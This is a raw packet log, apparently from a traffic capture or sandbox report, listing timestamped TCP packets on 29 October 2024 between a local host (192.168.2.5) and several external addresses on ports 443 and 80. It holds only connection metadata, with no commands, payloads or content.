Oct 29, 2024 02:46:42.725841999 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.725841999 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.739424944 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.739454985 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.747860909 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.748198032 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.748248100 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.748593092 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.749429941 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.749514103 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.749650002 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.752918959 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.752943039 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.753041029 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.753434896 CET	49929	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.753458977 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.756809950 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.756834030 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.756994963 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.757545948 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.757560015 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.764179945 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.769438982 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.769457102 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.769926071 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.771748066 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.771825075 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.775459051 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.780184031 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.780208111 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.780354977 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.781354904 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.781372070 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.781430960 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.782655001 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.782670021 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.783451080 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.783464909 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.791363001 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.794687986 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.795058966 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.795073986 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.796506882 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.796574116 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.797014952 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.797092915 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.797282934 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.797291040 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.800194979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800226927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800244093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800257921 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800271034 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800276041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800286055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800291061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800323009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800344944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800513983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800553083 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800673962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800689936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800707102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800721884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800738096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800751925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800767899 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800770998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800786018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800789118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800816059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800825119 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800904036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800919056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800932884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800955057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800956011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800972939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.800980091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.800997972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801002979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801028967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801052094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801527023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801541090 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801557064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801584959 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801585913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801601887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801616907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801632881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801647902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801661968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801678896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801685095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801688910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801702023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801716089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801723957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801733017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801748037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801750898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801750898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801762104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.801774979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801790953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.801809072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.819364071 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.846167088 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.846179962 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.846369028 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.847434044 CET	49933	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.847450972 CET	443	49933	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.850754023 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.868369102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.873661995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.901227951 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.902076006 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.902086020 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.903584003 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.903656006 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.903956890 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.904031038 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.904098988 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.917368889 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.917673111 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.917702913 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.921334028 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.921406984 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.922312021 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.922492027 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.922542095 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.934132099 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.934711933 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.934726954 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.936044931 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.936114073 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.937186003 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.937247038 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.942930937 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.943403959 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.943447113 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.944897890 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.944968939 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.945410013 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.945497036 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.945981026 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.945991039 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.967335939 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.977961063 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.977983952 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.978023052 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.978054047 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.993170977 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.993275881 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.993302107 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.997143030 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.997164011 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.997179031 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.997235060 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.997262001 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.997323990 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.999437094 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.999450922 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.999511957 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.999552965 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.999574900 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.999603987 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.024208069 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:43.024214983 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:43.039720058 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:43.039758921 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.215532064 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215584040 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215651035 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215656996 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.215679884 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215715885 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.215739012 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.215841055 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.215876102 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215920925 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215945959 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.215951920 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.215985060 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216015100 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216032982 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216037989 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216067076 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216413021 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:43.216434002 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.216463089 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216516018 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216536045 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216555119 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216572046 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216586113 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216613054 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216614008 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216643095 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216696978 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216696978 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216706991 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216790915 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216814041 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.216841936 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216847897 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.216866970 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.216902971 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.217488050 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:43.217557907 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.217708111 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:43.217859030 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.217869997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.217900038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.217933893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.217936993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.217963934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.217968941 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.217972994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218003988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218014956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218019009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218034029 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:43.218048096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218051910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218063116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218081951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218092918 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:43.218099117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218116045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218127966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218162060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218168020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218200922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218230963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218250990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218255997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218280077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218297958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218313932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218317986 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218347073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218358994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218380928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218389034 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218416929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218421936 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218446970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218461990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218487024 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218501091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218533993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218561888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218575954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218594074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218604088 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218626022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218657017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218667984 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218688965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218698025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218719006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218729973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218751907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218767881 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218786001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218791008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218817949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218825102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218859911 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218858004 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:43.218883038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218898058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218910933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218914032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218926907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218939066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218940973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218966961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.218974113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.218998909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.219008923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.219036102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.219050884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.219074965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.219659090 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.219681025 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.219748020 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.219773054 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.219804049 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.220021963 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.220036983 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.220052958 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.220098972 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.220113039 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.220144987 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.220168114 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.220207930 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.220282078 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.224067926 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:43.224077940 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:43.225013971 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.225461006 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.225492001 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.226461887 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.226543903 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226567984 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.226584911 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226605892 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226624012 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226639986 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.226646900 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226659060 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226663113 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.226669073 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226680994 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226706028 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.226711988 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.226746082 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.227077961 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.227123976 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.227163076 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.227183104 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.227194071 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.227325916 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.227582932 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.227632046 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.227648973 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.227658987 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.227696896 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.227716923 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:43.227777004 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:43.228490114 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.228558064 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.228579044 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.228589058 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.228621006 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.228636026 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.228645086 CET	443	49919	23.47.194.99	192.168.2.5
